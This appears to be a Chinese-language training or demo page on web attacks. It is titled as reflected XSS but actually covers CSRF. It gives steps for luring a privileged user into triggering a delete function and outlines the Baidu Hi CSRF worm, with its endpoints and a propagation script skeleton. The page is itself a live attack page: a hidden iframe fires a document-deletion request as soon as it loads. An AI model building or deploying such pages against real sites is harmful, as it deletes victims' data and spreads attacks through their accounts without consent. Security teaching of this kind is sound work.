<html>
<head>
<title>Learn From Mistakes.反射型XSS</title>
<script src="/static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
<script src="/static/js/jquery.nouislider.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/common.css" />
<link rel="stylesheet" type="text/css" href="/static/css/slide.css" />
<link rel="stylesheet" type="text/css"
	href="/static/css/bootstrap.min.css" />
<link rel="stylesheet" type="text/css"
	href="/static/css/flat-ui.min.css" />
<link rel="stylesheet" type="text/css"
	href="/static/css/jquery.nouislider.css" />
<style type="text/css">
.middle {
	float: none;
	display: inline-block;
	vertical-align: middle;
}

pre {
	margin: 0px;
	padding: 0px;
	border: 0px;
}
</style>
</head>
<body>
	<ol>
		<li>访问睿治平台，登录</li>
		<li>识别出可以被攻击的URL，譬如数据安全文档里面的删除功能</li>
		<li>将删除功能的链接获取到，构造一个攻击页面，诱导有删除权限的人点击</li>
	</ol>
	<p>历史上曾经出现过这种大规模的感染事件，百度Hi的CSRF攻击</p>
	<ol>
		<li>百度提供了一个获取用户所有好友的链接，http://frd.baidu.com/?ct=28&un=用户账号&cm=FriList&tn=bmABCFriList&callback=gotfriends，这个接口没有做任何处理,只需将un参数设定为任意用户账号，就可以获得指定用户的百度好友数据</li>
		<li>百度提供了一个给好友发消息的链接，http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账号&co=消息内容</li>
		<li>构造一个攻击站点http://www.inject.com/wish.jsp 
				<pre>&lt;script&gt;</pre>
				<pre>function gotfriends(friends){</pre>
				<pre>	//遍历friends，调用iframe或者new Image，设置url给好友发消息，消息的内容就是http://www.inject.com/wish.jsp</pre>
				<pre>}</pre>
				<pre>function loadJson(url){</pre>
				<pre>	/***</pre>
				<pre>	 *增加callback的代码需要服务器配合</pre>
				<pre>	 *String callback = request.getParameter("callback");</pre>
				<pre>	 *response.getWriter().write("&lt;script&gt;"+callback+"("+json+")&lt;/script&gt;");</pre>
				<pre>	 ***/</pre>
				<pre>	var script = document.createElement("script");</pre>
				<pre>	script.src="url";</pre>
				<pre>	document.getElementsByTagName("head")[0].appendChild(script);</pre>
				<pre>}</pre>
				<pre>&lt;/script&gt;</pre>
		</li>
	</ol>
	<!-- http://localhost:8080/edatasecurity/securitydoc/delete.do?id=249885aff1544d82a12c8eb26722b7f9 -->
	<iframe src="http://localhost:8080/edatasecurity/securitydoc/delete.do?id=249885aff1544d82a12c8eb26722b7f9"></iframe>
</body>
<script>
	function loadJson() {
		fetch("http://localhost:8080/edatasecurity/securitydoc/refreshlist.do",{ mode: "no-cors"}) 
		    .then(function(res) {
		        res.json().then(function(data) {
		            console.log(data); 
		        }); 
		    }) 
		    .catch(function(err) {
		        console.log('Fetch Error : %S', err); 
		    });
	}
	
</script>
</html>